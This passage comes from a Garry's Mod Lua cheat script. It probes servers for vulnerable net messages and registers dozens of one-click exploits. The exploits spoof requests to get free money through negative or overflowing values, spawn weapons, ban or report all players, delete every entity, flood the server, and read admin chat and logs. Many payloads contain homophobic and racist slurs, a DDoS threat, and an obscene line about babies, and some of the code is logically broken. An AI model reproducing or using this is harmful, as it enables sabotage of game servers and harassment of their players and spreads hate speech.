4986 surface.PlaySound("garrysmod/ui_click.wav")
4987 ECNotify("Starting")
4988
4989 for k, v in pairs(player.GetAll()) do
4990 net.Start('bringNfreeze')
4991 net.WriteEntity(self)
4992 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4993 net.SendToServer()
4994 end
4995 end)
4996 end
4997
4998 status = ValidNetString("JoinFirstSS")
4999
5000 if (status) then
5001 ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
5002
5003 addExploit("192", "Join First SS", "", function()
5004 surface.PlaySound("garrysmod/ui_click.wav")
5005 ECNotify("Starting")
5006 net.Start("JoinFirstSS")
5007 net.WriteEntity(LocalPlayer())
5008 net.SendToServer()
5009 end)
5010 end
5011
5012 status = ValidNetString("unarrestPerson")
5013
5014 if (status) then
5015 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5016
5017 addExploit("193", "Unarrest Person", "", function()
5018 surface.PlaySound("garrysmod/ui_click.wav")
5019 ECNotify("Starting")
5020
5021 for k, v in pairs(player.GetAll()) do
5022 net.Start("unarrestPerson")
5023 net.WriteEntity(v)
5024 net.SendToServer()
5025 end
5026 end)
5027 end
5028
5029 status = ValidNetString("giveArrestReason")
5030
5031 if (status) then
5032 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5033
5034 addExploit("194", "Give Arrest Reason", "", function()
5035 surface.PlaySound("garrysmod/ui_click.wav")
5036 ECNotify("Starting")
5037
5038 for k, v in pairs(player.GetAll()) do
5039 net.Start("giveArrestReason")
5040 net.WriteEntity(LocalPlayer())
5041 net.WriteEntity(v)
5042 net.WriteString("Faggot")
5043 net.SendToServer()
5044 end
5045 end)
5046 end
5047
5048 status = ValidNetString("sellitem")
5049
5050 if (status) then
5051 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5052
5053 addExploit("195", "Free Money #24", "", function()
5054 surface.PlaySound("garrysmod/ui_click.wav")
5055 ECNotify("Starting")
5056 net.Start("sellitem")
5057 net.WriteString(self)
5058 net.WriteEntity(LocalPlayer())
5059 net.SendToServer()
5060 end)
5061 end
5062
5063 status = ValidNetString("createFaction")
5064
5065 if (status) then
5066 ECPrint("Found Exploit: Create Faction [createFaction]")
5067
5068 addExploit("196", "Create Faction", "", function()
5069 surface.PlaySound("garrysmod/ui_click.wav")
5070 ECNotify("Starting")
5071
5072 for k, v in pairs(player.GetAll()) do
5073 net.Start("createFaction")
5074 net.WriteEntity(v)
5075 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5076 net.SendToServer()
5077 end
5078 end)
5079 end
5080
5081 status = ValidNetString("inviteToOrganization")
5082
5083 if (status) then
5084 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5085
5086 addExploit("197", "Faction Invite All", "", function()
5087 surface.PlaySound("garrysmod/ui_click.wav")
5088 ECNotify("Starting")
5089
5090 for k, v in pairs(player.GetAll()) do
5091 net.Start("inviteToOrganization")
5092 net.WriteEntity(v)
5093 net.WriteEntity(LocalPlayer())
5094 net.SendToServer()
5095 end
5096 end)
5097 end
5098
5099 status = ValidNetString("GovStation_SpawnVehicle")
5100
5101 if (status) then
5102 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5103
5104 addExploit("198", "Gov Spawn", "", function()
5105 surface.PlaySound("garrysmod/ui_click.wav")
5106 ECNotify("Starting")
5107
5108 for k, v in pairs(ents.GetAll()) do
5109 net.Start("GovStation_SpawnVehicle")
5110 net.WriteString("GOV_POLICE")
5111 net.SendToServer()
5112 end
5113 end)
5114 end
5115
5116 status = ValidNetString("GiveWeapon")
5117
5118 if (status) then
5119 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5120
5121 addExploit("199", "Give Weapons #3", "get weapons", function()
5122 surface.PlaySound("garrysmod/ui_click.wav")
5123 ECNotify("Starting")
5124 net.Start("GiveWeapon")
5125 net.WriteEntity(LocalPlayer())
5126 net.WriteString("m9k_davy_crockett")
5127 net.WriteFloat(0)
5128 net.SendToServer()
5129 end)
5130 end
5131
5132 status = ValidNetString("DailyLoginClaim")
5133
5134 if (status) then
5135 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5136
5137 addExploit("200", "Daily Login Reward", "", function()
5138 surface.PlaySound("garrysmod/ui_click.wav")
5139 ECNotify("Starting")
5140 net.Start("DailyLoginClaim")
5141 net.SendToServer()
5142 end)
5143 end
5144
5145 status = ValidNetString("DL_AskLogsList")
5146
5147 if (status) then
5148 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5149
5150 addExploit("201", "Ask Log List", "", function()
5151 surface.PlaySound("garrysmod/ui_click.wav")
5152 ECNotify("Starting")
5153 net.Start("DL_AskLogsList")
5154 net.SendToServer()
5155 end)
5156 end
5157
5158 status = ValidNetString("DL_StartReport")
5159
5160 if (status) then
5161 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5162
5163 addExploit("202", "DL Report All", "", function()
5164 surface.PlaySound("garrysmod/ui_click.wav")
5165 ECNotify("Starting")
5166
5167 for k, v in pairs(player.GetAll()) do
5168 net.Start("DL_StartReport")
5169 net.SendToServer()
5170 net.Start("DL_ReportPlayer")
5171 net.WriteEntity(v)
5172 net.WriteString("Hes being a gay faggot plz ban him")
5173 net.SendToServer()
5174 end
5175 end)
5176 end
5177
5178 status = ValidNetString("sv_saveweapons")
5179
5180 if (status) then
5181 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5182
5183 addExploit("203", "DL Report All", "", function()
5184 surface.PlaySound("garrysmod/ui_click.wav")
5185 ECNotify("Starting")
5186 net.Start("sv_saveweapons")
5187 net.WriteString("weapon_ttt_rpg")
5188 net.WriteString("weapon_ttt_rpg")
5189 net.WriteString("eg")
5190 net.SendToServer()
5191 end)
5192 end
5193
5194 status = ValidNetString("SpecDM_SendLoadout")
5195
5196 if (status) then
5197 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5198
5199 addExploit("204", "SpecDM Exploit", "", function()
5200 surface.PlaySound("garrysmod/ui_click.wav")
5201 ECNotify("Starting")
5202 net.Start("SpecDM_SendLoadout")
5203 net.WriteString("eg")
5204 net.WriteString("weapon_ttt_defib")
5205 net.SendToServer()
5206 end)
5207 end
5208
5209 status = ValidNetString("PowerRoundsForcePR")
5210
5211 if (status) then
5212 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5213
5214 addExploit("205", "Power Rounds Force", "", function()
5215 surface.PlaySound("garrysmod/ui_click.wav")
5216 ECNotify("Starting")
5217 net.Start("PowerRoundsForcePR")
5218 net.SendToServer()
5219 end)
5220 end
5221
5222 status = ValidNetString("wyozimc_playply")
5223
5224 if (status) then
5225 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5226
5227 addExploit("206", "Wyozimc Music Exploit", "", function()
5228 surface.PlaySound("garrysmod/ui_click.wav")
5229 ECNotify("Starting")
5230
5231 for k, v in pairs(player.GetAll()) do
5232 net.Start("wyozimc_playply")
5233 net.WriteEntity(v)
5234 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5235 net.SendToServer()
5236 end
5237 end)
5238 end
5239
5240 status = ValidNetString("SendSteamID")
5241
5242 if (status) then
5243 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5244
5245 addExploit("207", "Send Mail's", "", function()
5246 surface.PlaySound("garrysmod/ui_click.wav")
5247 ECNotify("Starting")
5248
5249 for k, v in pairs(player.GetAll()) do
5250 net.Start("SendSteamID")
5251 net.WriteEntity(v)
5252 net.WriteString("Faggot")
5253 net.WriteString("Faggot")
5254 net.SendToServer()
5255 end
5256 end)
5257 end
5258
5259 status = ValidNetString("JB_GiveCubics")
5260
5261 if (status) then
5262 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5263
5264 addExploit("208", "Give Cubics All", "", function()
5265 surface.PlaySound("garrysmod/ui_click.wav")
5266 ECNotify("Starting")
5267
5268 for k, v in pairs(player.GetAll()) do
5269 net.Start("JB_GiveCubics")
5270 net.WriteEntity(v)
5271 net.WriteInt(math.floor(dwang:GetValue()), 255)
5272 net.SendToServer()
5273 end
5274 end)
5275 end
5276
5277 status = ValidNetString("JB_SelectWarden")
5278
5279 if (status) then
5280 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5281
5282 addExploit("209", "Select Warden All", "", function()
5283 surface.PlaySound("garrysmod/ui_click.wav")
5284 ECNotify("Starting")
5285
5286 for k, v in pairs(player.GetAll()) do
5287 net.Start("JB_SelectWarden")
5288 net.WriteEntity(v)
5289 net.SendToServer()
5290 end
5291 end)
5292 end
5293
5294 status = ValidNetString("RDMReason_Explain")
5295
5296 if (status) then
5297 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5298
5299 addExploit("210", "RDM Explain", "", function()
5300 surface.PlaySound("garrysmod/ui_click.wav")
5301 ECNotify("Starting")
5302
5303 for k, v in pairs(player.GetAll()) do
5304 net.Start("RDMReason_Explain")
5305
5306 net.WriteTable({
5307 id = v,
5308 reason = fgt
5309 })
5310
5311 net.SendToServer()
5312 end
5313 end)
5314 end
5315
5316 status = ValidNetString("redirectMsg")
5317
5318 if (status) then
5319 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5320
5321 addExploit("211", "Redirect Message", "", function()
5322 surface.PlaySound("garrysmod/ui_click.wav")
5323 ECNotify("Starting")
5324 net.Start("redirectMsg")
5325 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5326 net.SendToServer()
5327 end)
5328 end
5329
5330 status = ValidNetString("LB_AddBan")
5331
5332 if (status) then
5333 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5334
5335 addExploit("212", "LB Ban", "", function()
5336 surface.PlaySound("garrysmod/ui_click.wav")
5337 ECNotify("Starting")
5338
5339 for k, v in pairs(player.GetAll()) do
5340 if v ~= LocalPlayer() then
5341 net.Start("LB_AddBan")
5342 net.WriteString("STEAM_0:0:71238382")
5343 net.WriteString("fgt")
5344 net.SendToServer()
5345 end
5346 end
5347 end)
5348 end
5349
5350 status = ValidNetString("GET_Admin_MSGS")
5351
5352 if (status) then
5353 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5354
5355 addExploit("213", "Brass Admin Chat", "", function()
5356 surface.PlaySound("garrysmod/ui_click.wav")
5357 ECNotify("Starting")
5358 net.Start("GET_Admin_MSGS")
5359 net.SendToServer()
5360 net.Start("OPEN_ADMIN_CHAT")
5361 net.SendToServer()
5362 end)
5363 end
5364
5365 status = ValidNetString("br_send_pm")
5366
5367 if (status) then
5368 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5369
5370 addExploit("214", "Brass Email Send All", "", function()
5371 surface.PlaySound("garrysmod/ui_click.wav")
5372 ECNotify("Starting")
5373
5374 for k, v in pairs(player.GetAll()) do
5375 if v ~= LocalPlayer() then
5376 net.Start("br_send_pm")
5377 net.WriteString(v)
5378 net.WriteString("FGT")
5379 net.WriteEntity(v)
5380 net.SendToServer()
5381 end
5382 end
5383 end)
5384 end
5385
5386 status = ValidNetString("LAWYER.BailFelonOut")
5387
5388 if (status) then
5389 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5390
5391 addExploit("215", "Bail Felon Out", "", function()
5392 surface.PlaySound("garrysmod/ui_click.wav")
5393 ECNotify("Starting")
5394 net.Start("LAWYER.BailFelonOut")
5395 net.WriteString("1")
5396 net.WriteString("fgt")
5397 net.SendToServer()
5398 end)
5399 end
5400
5401 status = ValidNetString("LAWYER.GetBailOut")
5402
5403 if (status) then
5404 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5405
5406 addExploit("216", "Get Bail Out", "", function()
5407 surface.PlaySound("garrysmod/ui_click.wav")
5408 ECNotify("Starting")
5409 net.Start("LAWYER.GetBailOut")
5410 net.WriteString("Mick")
5411 net.WriteString("Mick")
5412 net.WriteString("1000000")
5413 net.SendToServer()
5414 end)
5415 end
5416
5417 status = ValidNetString("GrabMoney")
5418
5419 if (status) then
5420 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5421
5422 addExploit("217", "Get Bail Out", "", function()
5423 surface.PlaySound("garrysmod/ui_click.wav")
5424 ECNotify("Starting")
5425
5426 for k, v in pairs(ents.GetAll()) do
5427 if v:GetClass() == "gold" then
5428 if v:GetClass() == "silver" then
5429 if v:GetClass() == "vip" then
5430 if v:GetClass() == "vipgold" then
5431 net.Start("GrabMoney")
5432 net.WriteEntity(LocalPlayer())
5433 net.SendToServer()
5434 end
5435 end
5436 end
5437 end
5438 end
5439 end)
5440 end
5441
5442 status = ValidNetString("nox_addpremadepunishment")
5443
5444 if (status) then
5445 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5446
5447 addExploit("218", "Nox Ban", "", function()
5448 surface.PlaySound("garrysmod/ui_click.wav")
5449 ECNotify("Starting")
5450
5451 for k, v in pairs(player.GetAll()) do
5452 if v ~= LocalPlayer() then
5453 net.Start("nox_addpremadepunishment")
5454 net.WriteEntity("Sun")
5455 net.WriteUInt(2, 8)
5456 net.SendToServer()
5457 end
5458 end
5459 end)
5460 end
5461
5462 status = ValidNetString("NET_CR_TakeStoredMoney")
5463
5464 if (status) then
5465 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5466
5467 addExploit("219", "Steal Registry Money", "", function()
5468 surface.PlaySound("garrysmod/ui_click.wav")
5469 ECNotify("Starting")
5470
5471 for k, v in pairs(ents.GetAll()) do
5472 if v:GetClass() == "ss_cash_registry" then
5473 net.Start('NET_CR_TakeStoredMoney')
5474 net.WriteEntity("ss_cash_registry")
5475 net.WriteEntity(LocalPlayer())
5476 net.SendToServer()
5477 end
5478 end
5479 end)
5480 end
5481
5482 status = ValidNetString("HV_AmmoBuy")
5483
5484 if (status) then
5485 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5486
5487 addExploit("220", "HV Free Ammo", "", function()
5488 surface.PlaySound("garrysmod/ui_click.wav")
5489 ECNotify("Starting")
5490 net.Start("HV_AmmoBuy")
5491 net.WriteFloat("2")
5492 net.SendToServer()
5493 net.Start("HV_AmmoBuy")
5494 net.WriteFloat("1")
5495 net.SendToServer()
5496 end)
5497 end
5498
5499 status = ValidNetString("hitcomplete")
5500
5501 if (status) then
5502 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5503
5504 addExploit("221", "Super RP Hit", "", function()
5505 surface.PlaySound("garrysmod/ui_click.wav")
5506 ECNotify("Starting")
5507
5508 for k, v in pairs(player.GetAll()) do
5509 if v ~= LocalPlayer() then
5510 net.Start("hitcomplete")
5511 net.WriteEntity(v)
5512 net.SendToServer()
5513 end
5514 end
5515 end)
5516 end
5517
5518 status = ValidNetString("SyncRemoveAction")
5519
5520 if (status) then
5521 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5522
5523 addExploit("222", "Remove All", "", function()
5524 surface.PlaySound("garrysmod/ui_click.wav")
5525 ECNotify("Starting")
5526
5527 for k, v in pairs(ents.GetAll()) do
5528 net.Start("SyncRemoveAction")
5529 net.WriteEntity(v)
5530 net.SendToServer()
5531 end
5532 end)
5533 end
5534
5535 status = ValidNetString("TMC_NET_MakePlayerWanted")
5536
5537 if (status) then
5538 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5539
5540 addExploit("223", "Make All Wanted", "", function()
5541 surface.PlaySound("garrysmod/ui_click.wav")
5542 ECNotify("Starting")
5543
5544 for k, v in pairs(player.GetAll()) do
5545 net.Start("TMC_NET_MakePlayerWanted")
5546 net.WriteString("bad")
5547 net.WriteString("bad")
5548 net.SendToServer()
5549 end
5550 end)
5551 end
5552
5553 status = ValidNetString("thiefnpc")
5554
5555 if (status) then
5556 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5557
5558 addExploit("224", "Thief NPC", "", function()
5559 surface.PlaySound("garrysmod/ui_click.wav")
5560 ECNotify("Starting")
5561 net.Start('thiefnpc')
5562 net.WriteDouble(-99999999999999999)
5563 net.SendToServer()
5564 end)
5565 end
5566
5567 status = ValidNetString("TMC_NET_FirePlayer")
5568
5569 if (status) then
5570 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5571
5572 addExploit("225", "Fire Player", "", function()
5573 surface.PlaySound("garrysmod/ui_click.wav")
5574 ECNotify("Starting")
5575 net.Start("TMC_NET_FirePlayer")
5576 net.WriteString("Paypal")
5577 net.SendToServer()
5578 end)
5579 end
5580
5581 status = ValidNetString("updateLaws")
5582
5583 if (status) then
5584 ECPrint("Found Exploit: Update Laws [updateLaws]")
5585
5586 addExploit("226", "Update Laws", "", function()
5587 surface.PlaySound("garrysmod/ui_click.wav")
5588 ECNotify("Starting")
5589 net.Start("updateLaws")
5590 net.WriteString("Bitch")
5591 net.SendToServer()
5592 end)
5593 end
5594
5595 status = ValidNetString("LotteryMenu")
5596
5597 if (status) then
5598 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5599
5600 addExploit("227", "Free Money #25", "", function()
5601 surface.PlaySound("garrysmod/ui_click.wav")
5602 ECNotify("Starting")
5603 net.Start("LotteryMenu")
5604 net.WriteEntity(LocalPlayer())
5605 net.WriteInt(1000000000000000000, 16)
5606 net.SendToServer()
5607 end)
5608 end
5609
5610 status = ValidNetString("soundArrestCommit")
5611
5612 if (status) then
5613 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5614
5615 addExploit("228", "Sound Arrest", "", function()
5616 surface.PlaySound("garrysmod/ui_click.wav")
5617 ECNotify("Starting")
5618 net.Start("soundArrestCommit")
5619 net.WriteString("Shit")
5620 net.SendToServer()
5621 end)
5622 end
5623
5624 status = ValidNetString("hoverboardpurchase")
5625
5626 if (status) then
5627 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5628
5629 addExploit("229", "Hover Board", "", function()
5630 surface.PlaySound("garrysmod/ui_click.wav")
5631 ECNotify("Starting")
5632 net.Start("hoverboardpurchase")
5633 net.WriteInt(8, 32)
5634 net.SendToServer()
5635 end)
5636 end
5637
5638 status = ValidNetString("SpawnProtection")
5639
5640 if (status) then
5641 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5642
5643 addExploit("230", "Off Spawn Protection", "", function()
5644 surface.PlaySound("garrysmod/ui_click.wav")
5645 ECNotify("Starting")
5646 net.Start("SpawnProtection")
5647 net.WriteFloat(0)
5648 net.SendToServer()
5649 end)
5650 end
5651
5652 status = ValidNetString("NPCShop_BuyItem")
5653
5654 if (status) then
5655 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5656
5657 addExploit("231", "NPC Shop", "", function()
5658 surface.PlaySound("garrysmod/ui_click.wav")
5659 ECNotify("Starting")
5660 net.Start("NPCShop_BuyItem")
5661 net.WriteString("weapon_hack_phone")
5662 net.SendToServer()
5663 end)
5664 end
5665
5666 status = ValidNetString("CubeRiot CaptureZone Update")
5667
5668 if (status) then
5669 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5670
5671 addExploit("232", "CubeRiot Exploit", "", function()
5672 surface.PlaySound("garrysmod/ui_click.wav")
5673 ECNotify("Starting")
5674 net.Start("CubeRiot CaptureZone Update")
5675 net.WriteUInt(1, 8)
5676 net.WriteVector("2654.989258 2254.119629 -139.968750")
5677 net.WriteVector("2654.989258 2254.119629 -139.968750")
5678 net.SendToServer()
5679 end)
5680 end
5681
5682 status = ValidNetString("deposit")
5683
5684 if (status) then
5685 ECPrint("Found Exploit: Free Money #26 [deposit]")
5686
5687 addExploit("233", "Free Money #26", "", function()
5688 surface.PlaySound("garrysmod/ui_click.wav")
5689 ECNotify("Starting")
5690 net.Start("deposit")
5691 net.WriteString("-10000000000000000000000")
5692 net.SendToServer()
5693 end)
5694 end
5695
5696 status = ValidNetString("AcceptRequest")
5697
5698 if (status) then
5699 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5700
5701 addExploit("234", "Call Exploit", "", function()
5702 surface.PlaySound("garrysmod/ui_click.wav")
5703 ECNotify("Starting")
5704
5705 for k, v in pairs(player.GetAll()) do
5706 net.Start("AcceptRequest")
5707 net.WriteEntity(v)
5708 net.SendToServer()
5709 end
5710 end)
5711 end
5712
5713 status = ValidNetString("Chess ClientWager")
5714
5715 if (status) then
5716 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5717
5718 addExploit("235", "Chess Exploit", "", function()
5719 surface.PlaySound("garrysmod/ui_click.wav")
5720 ECNotify("Starting")
5721 net.Start("Chess ClientWager")
5722 net.WriteUInt(-999999999999999999999999999, 24)
5723 net.SendToServer()
5724 net.Start("Chess ClientResign")
5725 net.SendToServer()
5726 end)
5727 end
5728
5729 status = ValidNetString("netOrgVoteInvite_Server")
5730
5731 if (status) then
5732 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5733
5734 addExploit("236", "Org Invite All", "", function()
5735 surface.PlaySound("garrysmod/ui_click.wav")
5736 ECNotify("Starting")
5737
5738 for k, v in pairs(player.GetAll()) do
5739 net.Start("netOrgVoteInvite_Server")
5740 net.WriteEntity(v)
5741 net.SendToServer()
5742 end
5743 end)
5744 end
5745
5746 status = ValidNetString("donatorshop_itemtobuy")
5747
5748 if (status) then
5749 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5750
5751 addExploit("237", "Donator Box Exploit", "", function()
5752 surface.PlaySound("garrysmod/ui_click.wav")
5753 ECNotify("Starting")
5754 net.Start("donatorshop_itemtobuy")
5755 net.WriteString("DonatorShopBuyTripwire")
5756 net.SendToServer()
5757 end)
5758 end
5759
5760 status = ValidNetString("AskPickupItemInv")
5761
5762 if (status) then
5763 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5764
5765 addExploit("238", "Ask Item", "", function()
5766 surface.PlaySound("garrysmod/ui_click.wav")
5767 ECNotify("Starting")
5768
5769 for k, v in pairs(player.GetAll()) do
5770 net.Start("AskPickupItemInv")
5771 net.WriteUInt(4, 16)
5772 net.WriteUInt(1, 16)
5773 net.SendToServer()
5774 end
5775 end)
5776 end
5777
5778 status = ValidNetString("buy_bundle")
5779
5780 if (status) then
5781 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5782
5783 addExploit("239", "Buy Bundle", "", function()
5784 surface.PlaySound("garrysmod/ui_click.wav")
5785 ECNotify("Starting")
5786 net.Start("buy_bundle")
5787 net.WriteFloat(1, 16)
5788 net.SendToServer()
5789 end)
5790 end
5791
5792 status = ValidNetString("LawyerOfferBail")
5793
5794 if (status) then
5795 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5796
5797 addExploit("240", "Lawyer Off Bail", "", function()
5798 surface.PlaySound("garrysmod/ui_click.wav")
5799 ECNotify("Starting")
5800
5801 for k, v in pairs(player.GetAll()) do
5802 net.Start("LawyerOfferBail")
5803 net.WriteEntity(v)
5804 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5805 net.SendToServer()
5806 net.Start("AcceptBailOffer")
5807 net.WriteEntity(v)
5808 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5809 net.SendToServer()
5810 end
5811 end)
5812 end
5813
5814 status = ValidNetString("MineServer")
5815
5816 if (status) then
5817 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5818
5819 addExploit("241", "Lagger #22", "lags", function()
5820 surface.PlaySound("garrysmod/ui_click.wav")
5821 ECNotify("Starting")
5822
5823 for i = 0, 100 do
5824 for k, v in pairs(player.GetAll()) do
5825 net.Start("MineServer", true)
5826 net.WriteString("sell")
5827 net.WriteEntity(v)
5828 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5829 net.SendToServer()
5830 end
5831 end
5832 end)
5833 end
5834
5835 status = ValidNetString("Gb_gasstation_BuyGas")
5836
5837 if (status) then
5838 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5839
5840 addExploit("242", "Ukrainian gas", "", function()
5841 surface.PlaySound("garrysmod/ui_click.wav")
5842 ECNotify("Starting")
5843 net.Start("Gb_gasstation_BuyGas")
5844 net.SendToServer()
5845 net.Start("Gb_gasstation_BuyJerrycan")
5846 net.SendToServer()
5847 end)
5848 end
5849
5850 status = ValidNetString("D3A_CreateOrg")
5851
5852 if (status) then
5853 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5854
5855 addExploit("243", "D3A Create Org", "", function()
5856 surface.PlaySound("garrysmod/ui_click.wav")
5857 ECNotify("Starting")
5858 net.Start("D3A_CreateOrg")
5859 net.WriteString('969690485273489312467812367128312312314')
5860 net.WriteString('123712983712984571298712398')
5861 net.WriteString("255 255 255")
5862 net.SendToServer()
5863 end)
5864 end
5865
5866 status = ValidNetString("Shop_buy")
5867
5868 if (status) then
5869 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5870
5871 addExploit("244", "SUP Buy Armor", "", function()
5872 surface.PlaySound("garrysmod/ui_click.wav")
5873 ECNotify("Starting")
5874 net.Start("Shop_buy")
5875 net.WriteString("Armor")
5876 net.SendToServer()
5877 end)
5878 end
5879
5880 status = ValidNetString("LawsToServer")
5881
5882 if (status) then
5883 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5884
5885 addExploit("245", "SUP New Laws", "", function()
5886 surface.PlaySound("garrysmod/ui_click.wav")
5887 ECNotify("Starting")
5888 net.Start("LawsToServer")
5889 net.WriteString("FAGGOTS")
5890 net.SendToServer()
5891 end)
5892 end
5893
5894 status = ValidNetString("D3A_Message")
5895
5896 if (status) then
5897 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5898
5899 addExploit("246", "D3A Message", "", function()
5900 surface.PlaySound("garrysmod/ui_click.wav")
5901 ECNotify("Starting")
5902 local stuff = {}
5903 net.Start("D3A_Message")
5904 net.WriteString("FAGGOTS")
5905 net.WriteTable(stuff)
5906 net.SendToServer()
5907 end)
5908 end
5909
5910 status = ValidNetString("misswd_accept")
5911
5912 if (status) then
5913 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5914
5915 addExploit("247", "Misswd Accept", "", function()
5916 surface.PlaySound("garrysmod/ui_click.wav")
5917 ECNotify("Starting")
5918
5919 for k, v in pairs(player.GetAll()) do
5920 for i = 0, 100 do
5921 net.Start("misswd_accept")
5922 net.WriteEntity(v)
5923 net.SendToServer()
5924 end
5925 end
5926 end)
5927 end
5928
5929 status = ValidNetString("ScannerMenu")
5930
5931 if (status) then
5932 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5933
5934 addExploit("248", "Scanner Exploit", "", function()
5935 surface.PlaySound("garrysmod/ui_click.wav")
5936 ECNotify("Starting")
5937
5938 for k, v in pairs(player.GetAll()) do
5939 net.Start("ScannerMenu")
5940 net.WriteEntity(v)
5941 net.WriteFloat(1)
5942 net.WriteFloat(1)
5943 net.SendToServer()
5944 end
5945 end)
5946 end
5947
5948 status = ValidNetString("ORG_NewOrg")
5949
5950 if (status) then
5951 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5952
5953 addExploit("249", "New ORG", "", function()
5954 surface.PlaySound("garrysmod/ui_click.wav")
5955 ECNotify("Starting")
5956 net.Start("ORG_NewOrg")
5957 net.WriteString("I FUCKING HATE YOU!")
5958 net.SendToServer()
5959 end)
5960 end
5961
5962 status = ValidNetString("ORG_VaultDonate")
5963
5964 if (status) then
5965 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5966
5967 addExploit("250", "Free Money #27", "", function()
5968 surface.PlaySound("garrysmod/ui_click.wav")
5969 ECNotify("Starting")
5970 net.Start("ORG_VaultDonate")
5971 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5972 net.SendToServer()
5973 end)
5974 end
5975
5976 status = ValidNetString("Selldatride")
5977
5978 if (status) then
5979 ECPrint("Found Exploit: Sell Datride [Selldatride]")
5980
5981 addExploit("251", "Sell Datride", "", function()
5982 surface.PlaySound("garrysmod/ui_click.wav")
5983 ECNotify("Starting")
5984
5985 for k, v in pairs(player.GetAll()) do
5986 net.Start("Selldatride")
5987 net.WriteEntity(v)
5988 net.SendToServer()
5989 end
5990 end)
5991 end
5992
5993 status = ValidNetString("passmayorexam")
5994
5995 if (status) then
5996 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5997
5998 addExploit("252", "Passexam Exploit", "", function()
5999 surface.PlaySound("garrysmod/ui_click.wav")
6000 ECNotify("Starting")
6001 net.Start("passmayorexam")
6002 net.SendToServer()
6003 end)
6004 end
6005
6006 status = ValidNetString("levelup_useperk")
6007
6008 if (status) then
6009 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
6010
6011 addExploit("253", "LevelUp Exploit", "", function()
6012 surface.PlaySound("garrysmod/ui_click.wav")
6013 ECNotify("Starting")
6014 net.Start("levelup_useperk")
6015 net.WriteInt(1, 8)
6016 net.WriteInt(2, 8)
6017 net.WriteInt(3, 8)
6018 net.WriteInt(4, 8)
6019 net.SendToServer()
6020 end)
6021 end
6022
6023 status = ValidNetString("ZED_SpawnCar")
6024
6025 if (status) then
6026 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6027
6028 addExploit("254", "ZED Spawn Car", "", function()
6029 surface.PlaySound("garrysmod/ui_click.wav")
6030 ECNotify("Starting")
6031 net.Start("ZED_SpawnCar")
6032 net.WriteFloat(1)
